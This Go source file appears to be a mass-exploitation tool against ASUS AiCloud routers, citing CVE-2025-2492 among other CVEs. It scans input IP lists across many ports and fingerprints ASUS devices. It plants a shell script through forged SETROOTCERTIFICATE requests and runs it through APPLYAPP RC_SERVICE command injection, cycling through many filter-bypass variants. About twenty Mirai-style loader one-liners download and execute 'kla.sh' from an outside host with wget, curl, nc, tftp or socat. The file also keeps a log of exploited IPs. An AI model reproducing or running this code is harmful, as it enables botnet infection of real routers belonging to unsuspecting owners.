// ASUS AiCloud RCE: SETROOTCERTIFICATE (write /etc/cert.pem.1) + APPLYAPP (RC_SERVICE execution). // Loader: kla.sh from env ASUS_LOADER, ASUS_LOADER_PORT, ASUS_TAG. // Refs: CVE-2025-2492, CVE-2024-12912, CVE-2025-59366; runZero; routersploit; ASUS advisory. package main import ( "bufio" "crypto/tls" "errors" "flag" "fmt" "io" "net" "os" "os/signal" "runtime" "strings" "sync" "syscall" "time" ) var ( Port = "null" Separator = "," Tls = false Debug = false MultiPort = false SkipExploited = true ExploitedFile = "exploited.txt" WaitGroup sync.WaitGroup Processed int Found int Exploited int Skipped int mu sync.Mutex exploitedIPs sync.Map // host -> true; loaded from file, updated on exploit processingIPs sync.Map // host -> true; in-flight claim to prevent parallel exploit of same host exploitedMu sync.Mutex config = &tls.Config{ MinVersion: tls.VersionTLS10, InsecureSkipVerify: true, } dialer = &net.Dialer{Timeout: 20 * time.Second} // Common ASUS AiCloud ports (HTTP/HTTPS/alt) commonPorts = []string{"80", "443", "8080", "8443", "8888", "8889", "8444", "8081", "8082", "9090", "9443", "8445", "8180", "8280", "8000", "8001", "8446", "8447", "8083", "444", "8448", "8084", "8085", "9000", "9080", "8880", "8008", "8043", "23"} // Loader: kla.sh (same as tbk, faith, geoserver) - host, path, TCP port, tag for campaign loaderHost = "11.11.11.11" loaderKlaPath = "/bins/kla.sh" loaderPort = "3342" loaderTag = "asus" // Payloads written to /etc/cert.pem.1: multiple variants for different firmwares/shells (like tbk) cmdPayloads []string // Command to execute the saved script from /etc/cert.pem.1 - multiple injection methods for bypassing filters cmd1Variants = []string{ "`sh /etc/cert.pem.1`", // Original "$(sh /etc/cert.pem.1)", // Command substitution "; sh /etc/cert.pem.1;", // Chaining "|| sh /etc/cert.pem.1 ||", // OR chain "&& sh /etc/cert.pem.1 &&", // AND chain "sh= 0 { loaderHost = strings.TrimSpace(h[:idx]) } else { loaderHost = h } } if p := os.Getenv("ASUS_LOADER_PORT"); p != "" { loaderPort = strings.TrimSpace(p) } if t := os.Getenv("ASUS_PAYLOAD_ARG"); t != "" { loaderTag = strings.TrimSpace(t) } if t := os.Getenv("ASUS_TAG"); t != "" { loaderTag = strings.TrimSpace(t) } urlKla := "http://" + loaderHost + loaderKlaPath h, port, tag := loaderHost, loaderPort, loaderTag // Several payload variants (like tbk/geoserver) - different firmwares/shells prefer different styles cmdPayloads = []string{ // 1) Full: /dev/shm, /var/tmp, /tmp; wget/curl/nc; [ -s ] or [ -f ]; nohup/su "cd /dev/shm 2>/dev/null || cd /var/tmp 2>/dev/null || cd /tmp\nrm -f kla.sh\n(wget -qO kla.sh " + urlKla + " 2>/dev/null || wget -O kla.sh " + urlKla + " 2>/dev/null || busybox wget -qO kla.sh " + urlKla + " 2>/dev/null || busybox wget -O kla.sh " + urlKla + " 2>/dev/null || curl -sLo kla.sh " + urlKla + " 2>/dev/null || nc " + h + " " + port + " > kla.sh 2>/dev/null || toybox nc " + h + " " + port + " > kla.sh 2>/dev/null)\n[ -s kla.sh ] && (chmod 777 kla.sh 2>/dev/null || chmod +x kla.sh) && (su -c 'nohup sh kla.sh " + tag + " >/dev/null 2>&1 &' 2>/dev/null || nohup sh kla.sh " + tag + " >/dev/null 2>&1 &)\n[ -f kla.sh ] && (chmod 777 kla.sh 2>/dev/null || chmod +x kla.sh) && (sh kla.sh " + tag + " &)\n", // 2) One-line short (some devices choke on newlines) "cd /tmp 2>/dev/null||cd /var/tmp||cd /tmp;rm -f kla.sh;(wget -O kla.sh " + urlKla + " 2>/dev/null||wget -qO kla.sh " + urlKla + " 2>/dev/null||busybox wget -O kla.sh " + urlKla + " 2>/dev/null||curl -sLo kla.sh " + urlKla + " 2>/dev/null||nc " + h + " " + port + " >kla.sh 2>/dev/null);[ -s kla.sh ]&&(chmod 777 kla.sh 2>/dev/null||chmod +x kla.sh)&&(nohup sh kla.sh " + tag + " >/dev/null 2>&1 &)\n", // 3) Minimal: wget only, chmod 777, sh & (no nohup for minimal sh) "cd /tmp;rm -f kla.sh;wget -O kla.sh " + urlKla + ";chmod 777 kla.sh;sh kla.sh " + tag + " &\n", // 4) Busybox-first (wget is often busybox on routers) "cd /tmp;rm -f kla.sh;busybox wget -O kla.sh " + urlKla + ";chmod 777 kla.sh;sh kla.sh " + tag + " &\n", // 5) /dev/shm first (tmp noexec/full) "cd /dev/shm 2>/dev/null||cd /tmp;rm -f kla.sh;wget -O kla.sh " + urlKla + ";chmod 777 kla.sh;sh kla.sh " + tag + " &\n", // 6) wget URL first (some embedded wget expect URL then -O) "cd /tmp;rm -f kla.sh;wget " + urlKla + " -O kla.sh;chmod 777 kla.sh;sh kla.sh " + tag + " &\n", // 7) pipe to sh (no temp file; minimal env / read-only /tmp) "wget -qO- " + urlKla + " 2>/dev/null|sh -s " + tag + " &\n", // 8) curl pipe (if wget filtered) "curl -sL " + urlKla + " 2>/dev/null|sh -s " + tag + " &\n", // 9) busybox pipe "busybox wget -qO- " + urlKla + " 2>/dev/null|sh -s " + tag + " &\n", // 10) nc only (minimal, no wget/curl) "cd /tmp;rm -f k;nc " + h + " " + port + " >k 2>/dev/null;[ -s k ]&&chmod +x k&&sh k " + tag + " &\n", // 11) toybox nc "cd /tmp;rm -f k;toybox nc " + h + " " + port + " >k 2>/dev/null;[ -s k ]&&chmod +x k&&sh k " + tag + " &\n", // 12) tftp (some ASUS have tftp - port 69) "cd /tmp;rm -f kla.sh;tftp -g -r kla.sh " + h + " 69 2>/dev/null;[ -s kla.sh ]&&chmod +x kla.sh&&sh kla.sh " + tag + " &\n", // 13) wget -N (no clobber style) "cd /tmp;rm -f kla.sh;wget -q -O kla.sh " + urlKla + " 2>/dev/null;chmod 700 kla.sh;sh kla.sh " + tag + " &\n", // 14) curl -k (ignore SSL if URL was https) "cd /tmp;rm -f kla.sh;curl -skLo kla.sh " + urlKla + " 2>/dev/null;chmod +x kla.sh;sh kla.sh " + tag + " &\n", // 15) /var/tmp only (like tbk) "cd /var/tmp 2>/dev/null||cd /tmp;rm -f kla.sh;wget -O kla.sh " + urlKla + " 2>/dev/null;chmod 777 kla.sh;sh kla.sh " + tag + " &\n", // 16) chmod 777 * (Mirai-style, tbk buildPayloadShortChmodStar) "cd /tmp;rm -f kla.sh;wget -O kla.sh " + urlKla + " 2>/dev/null;chmod 777 *;sh kla.sh " + tag + " &\n", // 17) short filename k (faith/tbk style) "cd /tmp;rm -f k;wget -O k " + urlKla + " 2>/dev/null;chmod 777 k;sh k " + tag + " &\n", // 18) wget -T 5 (timeout 5s for slow networks) "cd /tmp;rm -f kla.sh;wget -T 5 -qO kla.sh " + urlKla + " 2>/dev/null;chmod +x kla.sh;sh kla.sh " + tag + " &\n", // 19) curl --connect-timeout 5 "cd /tmp;rm -f kla.sh;curl -s --connect-timeout 5 -Lo kla.sh " + urlKla + " 2>/dev/null;chmod +x kla.sh;sh kla.sh " + tag + " &\n", // 20) socat if present (some routers have it) "cd /tmp;rm -f k;socat - tcp:" + h + ":" + port + " >k 2>/dev/null;[ -s k ]&&chmod +x k&&sh k " + tag + " &\n", } } func loadExploited() { f, err := os.Open(ExploitedFile) if err != nil { if !os.IsNotExist(err) { fmt.Fprintf(os.Stderr, "[warn] Cannot open exploited file %s: %v\n", ExploitedFile, err) } return } defer f.Close() count := 0 sc := bufio.NewScanner(f) for sc.Scan() { ip := strings.TrimSpace(sc.Text()) if ip == "" || strings.HasPrefix(ip, "#") { continue } exploitedIPs.Store(ip, true) count++ } fmt.Fprintf(os.Stderr, "[*] Loaded %d exploited IPs from %s (will skip them)\n", count, ExploitedFile) } func markExploited(host string) { if _, loaded := exploitedIPs.LoadOrStore(host, true); loaded { return } exploitedMu.Lock() defer exploitedMu.Unlock() f, err := os.OpenFile(ExploitedFile, os.O_APPEND|os.O_CREATE|os.O_WRONLY, 0644) if err != nil { fmt.Fprintf(os.Stderr, "[warn] Cannot write exploited file: %v\n", err) return } defer f.Close() fmt.Fprintln(f, host) } func isExploited(host string) bool { _, ok := exploitedIPs.Load(host) return ok } func DialTimeout(target string) (net.Conn, error) { // Auto-enable TLS for HTTPS-like ports useTLS := Tls if strings.Contains(target, ":443") || strings.Contains(target, ":8443") || strings.Contains(target, ":8444") || strings.Contains(target, ":9443") || strings.Contains(target, ":8445") || strings.Contains(target, ":8446") || strings.Contains(target, ":8447") || strings.Contains(target, ":444") || strings.Contains(target, ":8448") || strings.Contains(target, ":8043") { useTLS = true } if useTLS { return tls.DialWithDialer(dialer, "tcp", target, config) } else { return net.DialTimeout("tcp", target, 20*time.Second) } } func verifyDevice(target string) error { conn, err := DialTimeout(target) if err != nil { if Debug { fmt.Fprintf(os.Stderr, "[DEBUG] %s: connection failed: %v\n", target, err) } return err } defer conn.Close() conn.SetReadDeadline(time.Now().Add(10 * time.Second)) // Try GET request first (more universal) var request = []byte("GET / HTTP/1.1\r\n" + "Host: " + target + "\r\n" + "User-Agent: Mozilla/5.0\r\n" + "Connection: close\r\n\r\n") _, err = conn.Write(request) if err != nil { if Debug { fmt.Fprintf(os.Stderr, "[DEBUG] %s: write failed: %v\n", target, err) } return err } bytes, err := io.ReadAll(conn) if err != nil && err != io.EOF { if Debug { fmt.Fprintf(os.Stderr, "[DEBUG] %s: read failed: %v\n", target, err) } return err } response := string(bytes) responseLower := strings.ToLower(response) // ASUS AiCloud / AsusWRT indicators (CVE-2025-2492, CVE-2024-12912; runZero: Asus AsusWRT 382/386/388/102) hasAiCloud := strings.Contains(response, "AiCloud") || strings.Contains(responseLower, "aicloud") || strings.Contains(response, "/smb/css/startup.png") || strings.Contains(responseLower, "asus") || strings.Contains(responseLower, "asuswrt") has401 := strings.Contains(response, "401") || strings.Contains(responseLower, "unauthorized") // Many ASUS routers run lighttpd; 401 on root often means auth-required (AiCloud) hasLighttpd := strings.Contains(responseLower, "lighttpd") hasAsusWRT := strings.Contains(responseLower, "asuswrt") if Debug && len(response) > 0 { fmt.Fprintf(os.Stderr, "[DEBUG] %s: response length=%d, hasAiCloud=%v, has401=%v, lighttpd=%v\n", target, len(response), hasAiCloud, has401, hasLighttpd) if len(response) < 500 { fmt.Fprintf(os.Stderr, "[DEBUG] %s: response preview: %s\n", target, response[:min(len(response), 200)]) } } // Accept: ASUS indicators + 401, or AsusWRT + 401, or lighttpd + 401 (common on ASUS) if (hasAiCloud && has401) || (hasAiCloud && strings.Contains(response, "startup.png")) { return nil } if (hasAsusWRT && has401) || (hasLighttpd && has401) { return nil } // If GET didn't work, try PROPFIND conn2, err := DialTimeout(target) if err != nil { return errors.New("not ASUS AiCloud") } defer conn2.Close() conn2.SetReadDeadline(time.Now().Add(10 * time.Second)) propfind := []byte("PROPFIND / HTTP/1.1\r\n" + "Host: " + target + "\r\n" + "User-Agent: -\r\n" + "Connection: close\r\n" + "Referer: http://" + target + "/\r\n\r\n") _, _ = conn2.Write(propfind) bytes2, _ := io.ReadAll(conn2) response2 := string(bytes2) response2Lower := strings.ToLower(response2) if strings.Contains(response2, "AiCloud") || strings.Contains(response2Lower, "aicloud") || strings.Contains(response2, "/smb/css/startup.png") || (strings.Contains(response2, "401") && (strings.Contains(response2Lower, "asus") || strings.Contains(response2Lower, "asuswrt"))) { return nil } return errors.New("not ASUS AiCloud") } func min(a, b int) int { if a < b { return a } return b } // xmlEscape escapes payload for XML so <, >, & do not break parser on device func xmlEscape(s string) string { s = strings.ReplaceAll(s, "&", "&") s = strings.ReplaceAll(s, "<", "<") s = strings.ReplaceAll(s, ">", ">") s = strings.ReplaceAll(s, "\"", """) return s } // buildCertBody builds cert body: shell shebang + payload. useCDATA wraps in CDATA so raw <>& allowed func buildCertBody(payload string, useCDATA bool) string { const prefix = "#!/bin/sh\n#-----BEGIN CERTIFICATE-----\n\n" const suffix = "\n" if useCDATA { // CDATA allows raw <, >, & in payload (device must accept CDATA) return prefix + "" + suffix } return prefix + xmlEscape(payload) + suffix } // Multiple SETROOTCERTIFICATE injection methods - different XML formats and payload escaping var setRootMethods = []func(string, string) string{ // Method 1: Standard format, CDATA (payload can contain < > &) func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 2: Standard format, escaped payload (for parsers that don't like CDATA) func(target, payload string) string { body := buildCertBody(payload, false) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 3: Alternative XML, CDATA func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 4: Without standalone, escaped func(target, payload string) string { body := buildCertBody(payload, false) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 5: Path / , CDATA func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE / HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 6: With User-Agent, CDATA func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 7: Content-Type application/xml (some daemons require it; security research / CVE) func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nContent-Type: application/xml\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 8: Path /smb/css/ (AiCloud WebDAV path seen in XXE/routersploit) func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /smb/css/ HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 9: Path /. (root with dot) func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /. HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 10: Path /smb/ (AiCloud) func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /smb/ HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 11: Path /index.html func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /index.html HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 12: Accept: */* + application/xml func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nContent-Type: application/xml\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 13: Path /smb/css/setting.html (XXE-style path) func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /smb/css/setting.html HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 14: text/xml Content-Type func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nContent-Type: text/xml\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, // Method 15: Path / (no trailing slash) func(target, payload string) string { body := buildCertBody(payload, true) data := `-----BEGIN RSA PRIVATE KEY-----id` + body + `-----BEGIN CERTIFICATE-----` return fmt.Sprintf("SETROOTCERTIFICATE / HTTP/1.1\r\nHost: %s\r\nContent-Length: %d\r\nConnection: close\r\n\r\n%s", target, len(data), data) }, } // Multiple APPLYAPP injection methods - different header formats var applyAppMethods = []func(string, string) string{ // Method 1: Standard format (most common) func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 2: Without ACTION_MODE func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nSET_NVRAM: aa\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 3: Different path func(target, cmd string) string { return fmt.Sprintf("APPLYAPP / HTTP/1.1\r\nHost: %s\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 4: With User-Agent func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nUser-Agent: Mozilla/5.0\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 5: Alternative header order func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nRC_SERVICE: %s\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 6: With Referer func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nReferer: http://%s/\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, target, cmd) }, // Method 7: Content-Length: 0 (explicit body length for strict parsers) func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nContent-Length: 0\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 8: Path /smb/css/ (AiCloud path) func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /smb/css/ HTTP/1.1\r\nHost: %s\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 9: Content-Type + Content-Length 0 func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nContent-Type: application/x-www-form-urlencoded\r\nContent-Length: 0\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 10: lowercase rc-service (some parsers) func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nrc-service: %s\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 11: Rc-Service (mixed case) func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nRc-Service: %s\r\nACTION_MODE: apply\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 12: no SET_NVRAM (minimal headers) func(target, cmd string) string { return fmt.Sprintf("APPLYAPP / HTTP/1.1\r\nHost: %s\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 13: Accept */* func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nAccept: */*\r\nRC_SERVICE: %s\r\nACTION_MODE: apply\r\nSET_NVRAM: aa\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 14: path /smb/ func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /smb/ HTTP/1.1\r\nHost: %s\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 15: path /smb/css/setting.html func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /smb/css/setting.html HTTP/1.1\r\nHost: %s\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 16: X-RC-SERVICE (alternative header name) func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /favicon.ico/ HTTP/1.1\r\nHost: %s\r\nX-RC-SERVICE: %s\r\nACTION_MODE: apply\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 17: Content-Length 0 + rc-service lowercase func(target, cmd string) string { return fmt.Sprintf("APPLYAPP / HTTP/1.1\r\nHost: %s\r\nContent-Length: 0\r\nrc-service: %s\r\nConnection: close\r\n\r\n", target, cmd) }, // Method 18: Path /. func(target, cmd string) string { return fmt.Sprintf("APPLYAPP /. HTTP/1.1\r\nHost: %s\r\nRC_SERVICE: %s\r\nConnection: close\r\n\r\n", target, cmd) }, } const ( readRespTimeout = 25 * time.Second stepDelay = 3 * time.Second // delay between SETROOTCERTIFICATE and APPLYAPP for slow routers retryDelay = 400 * time.Millisecond // delay between combo retries so device is not overwhelmed ) // isHTTPOk checks if response starts with HTTP/1.x 2xx func isHTTPOk(response string) bool { if len(response) < 12 { return false } // "HTTP/1.0 200" or "HTTP/1.1 201" return strings.HasPrefix(response, "HTTP/1.") && (response[9] == '2' || (len(response) > 10 && response[10] == '2')) } func setRootCertificate(target string, methodIndex int, payload string) error { conn, err := DialTimeout(target) if err != nil { return err } defer conn.Close() conn.SetReadDeadline(time.Now().Add(readRespTimeout)) methodIdx := methodIndex % len(setRootMethods) request := setRootMethods[methodIdx](target, payload) n, err := conn.Write([]byte(request)) if err != nil { return err } if n != len(request) { return fmt.Errorf("short write: %d/%d", n, len(request)) } // Drain response so server can finish writing to /etc/cert.pem.1 resp, err := io.ReadAll(conn) if err != nil && err != io.EOF { return err } if len(resp) > 0 && !isHTTPOk(string(resp)) && Debug { fmt.Fprintf(os.Stderr, "[DEBUG] %s SETROOTCERTIFICATE response: %s\n", target, string(resp)[:min(len(resp), 200)]) } return nil } func applyApp(target string, methodIndex int, cmdVariant string) error { conn, err := DialTimeout(target) if err != nil { return err } defer conn.Close() conn.SetReadDeadline(time.Now().Add(readRespTimeout)) methodIdx := methodIndex % len(applyAppMethods) request := applyAppMethods[methodIdx](target, cmdVariant) n, err := conn.Write([]byte(request)) if err != nil { return err } if n != len(request) { return fmt.Errorf("short write: %d/%d", n, len(request)) } // Drain response resp, err := io.ReadAll(conn) if err != nil && err != io.EOF { return err } if len(resp) > 0 && !isHTTPOk(string(resp)) && Debug { fmt.Fprintf(os.Stderr, "[DEBUG] %s APPLYAPP response: %s\n", target, string(resp)[:min(len(resp), 200)]) } return nil } func ProcessWithPort(host string, port string) { WaitGroup.Add(1) defer WaitGroup.Done() if SkipExploited && isExploited(host) { mu.Lock() Skipped++ mu.Unlock() return } mu.Lock() Processed++ mu.Unlock() target := host + ":" + port if err := verifyDevice(target); err != nil { return } if _, already := processingIPs.LoadOrStore(host, true); already { return } mu.Lock() Found++ mu.Unlock() fmt.Fprintf(os.Stderr, "[+] Found ASUS device: %s\n", target) // Try all combos: payload variant × SETROOTCERTIFICATE × APPLYAPP × RC_SERVICE cmd variant comboSize := len(setRootMethods) * len(applyAppMethods) * len(cmd1Variants) maxTries := len(cmdPayloads) * comboSize var lastErr error exploited := false for try := 0; try < maxTries && !exploited; try++ { payloadIdx := try % len(cmdPayloads) methodCombo := (try / len(cmdPayloads)) % comboSize setRootMethodIdx := (methodCombo / (len(applyAppMethods) * len(cmd1Variants))) % len(setRootMethods) applyAppMethodIdx := (methodCombo / len(cmd1Variants)) % len(applyAppMethods) cmd1VariantIdx := methodCombo % len(cmd1Variants) cmdVariant := cmd1Variants[cmd1VariantIdx] payload := cmdPayloads[payloadIdx] if Debug { fmt.Fprintf(os.Stderr, "[DEBUG] %s: try %d - payload[%d] SETROOT[%d] APPLY[%d] CMD[%d]\n", target, try+1, payloadIdx, setRootMethodIdx, applyAppMethodIdx, cmd1VariantIdx) } if try > 0 { fmt.Fprintf(os.Stderr, "[*] %s: Retry %d (payload %d) - writing script...\n", target, try+1, payloadIdx+1) } else { fmt.Fprintf(os.Stderr, "[*] %s: Writing shell script to /etc/cert.pem.1...\n", target) } lastErr = setRootCertificate(target, setRootMethodIdx, payload) if lastErr != nil { if Debug { fmt.Fprintf(os.Stderr, "[DEBUG] %s: SETROOTCERTIFICATE failed: %v\n", target, lastErr) } time.Sleep(retryDelay) continue } time.Sleep(stepDelay) if try > 0 { fmt.Fprintf(os.Stderr, "[*] %s: Retry %d - executing via APPLYAPP...\n", target, try+1) } else { fmt.Fprintf(os.Stderr, "[*] %s: Executing script via APPLYAPP...\n", target) } lastErr = applyApp(target, applyAppMethodIdx, cmdVariant) if lastErr != nil { if Debug { fmt.Fprintf(os.Stderr, "[DEBUG] %s: APPLYAPP failed: %v\n", target, lastErr) } time.Sleep(retryDelay) continue } // Double-tap: send APPLYAPP again (some devices need second trigger to run script) time.Sleep(500 * time.Millisecond) _ = applyApp(target, (applyAppMethodIdx+1)%len(applyAppMethods), cmdVariant) exploited = true } if !exploited { processingIPs.Delete(host) fmt.Fprintf(os.Stderr, "[-] %s: Exploit failed after %d tries: %v\n", target, maxTries, lastErr) return } mu.Lock() Exploited++ mu.Unlock() markExploited(host) fmt.Fprintf(os.Stderr, "[+] Exploited: %s (kla.sh %s from %s)\n", target, loaderTag, loaderHost) } func Process(target string) { // Parse target (host:port or just host) var host string var ports []string if strings.Contains(target, ":") { parts := strings.Split(target, ":") host = parts[0] if len(parts) > 1 { ports = []string{parts[1]} } else { ports = []string{"80"} } } else { host = target // If multi-port enabled, check common ports if MultiPort { ports = commonPorts } else { ports = []string{"80"} } } // Process multiple ports in parallel for _, port := range ports { go ProcessWithPort(host, port) } } func titleWriter() { timeStarted := time.Now() for { mu.Lock() processed := Processed found := Found exploited := Exploited skipped := Skipped mu.Unlock() fmt.Fprintf(os.Stderr, "[stats] %.0fs processed=%d found=%d exploited=%d skipped=%d routines=%d\n", time.Since(timeStarted).Seconds(), processed, found, exploited, skipped, runtime.NumGoroutine(), ) time.Sleep(1 * time.Second) } } func main() { var filePath string var noSkip bool flag.StringVar(&Port, "port", "null", "Specify the port to connect to (use 'manual' for stdin IP list + 443 + TLS)") flag.StringVar(&Separator, "separator", ",", "Port separator") flag.BoolVar(&Tls, "tls", false, "Enable TLS for the connection") flag.BoolVar(&MultiPort, "multiport", false, "Enable multi-port scanning (80,443,8080,8443)") flag.StringVar(&filePath, "f", "", "Input file (use '-' or omit for stdin)") flag.StringVar(&ExploitedFile, "exploited", "exploited.txt", "File to track exploited IPs (skip on re-scan)") flag.BoolVar(&noSkip, "no-skip", false, "Disable skipping already exploited IPs") flag.Parse() for _, arg := range flag.Args() { switch arg { case "manual": Port = "manual" case "-no-skip", "--no-skip", "no-skip": noSkip = true case "-multiport", "--multiport", "multiport": MultiPort = true case "-tls", "--tls", "tls": Tls = true case "-debug", "--debug", "debug": Debug = true } } if noSkip { SkipExploited = false } if Port == "manual" { Port = "443" Tls = true } loadExploited() go titleWriter() // Сразу выходим по SIGTERM/SIGINT, не ждём WaitGroup (иначе timeout/watchdog не останавливает скан) sigCh := make(chan os.Signal, 1) signal.Notify(sigCh, os.Interrupt, syscall.SIGTERM) go func() { <-sigCh os.Exit(124) }() var scanner *bufio.Scanner var file *os.File var err error // Read from file or stdin if filePath == "" || filePath == "-" { scanner = bufio.NewScanner(os.Stdin) } else { file, err = os.Open(filePath) if err != nil { fmt.Fprintf(os.Stderr, "Error opening file: %v\n", err) os.Exit(1) } defer file.Close() scanner = bufio.NewScanner(file) } for scanner.Scan() { line := scanner.Text() if len(line) == 0 { continue } // Skip headers/comments if strings.HasPrefix(line, "#") || strings.Contains(line, "saddr") || strings.Contains(line, "INFO") { continue } if Port == "null" || Port == "listen" { go Process(strings.ReplaceAll(line, Separator, ":")) } else { go Process(line + ":" + Port) } } if err := scanner.Err(); err != nil { fmt.Fprintf(os.Stderr, "Error reading input: %v\n", err) } time.Sleep(10 * time.Second) WaitGroup.Wait() }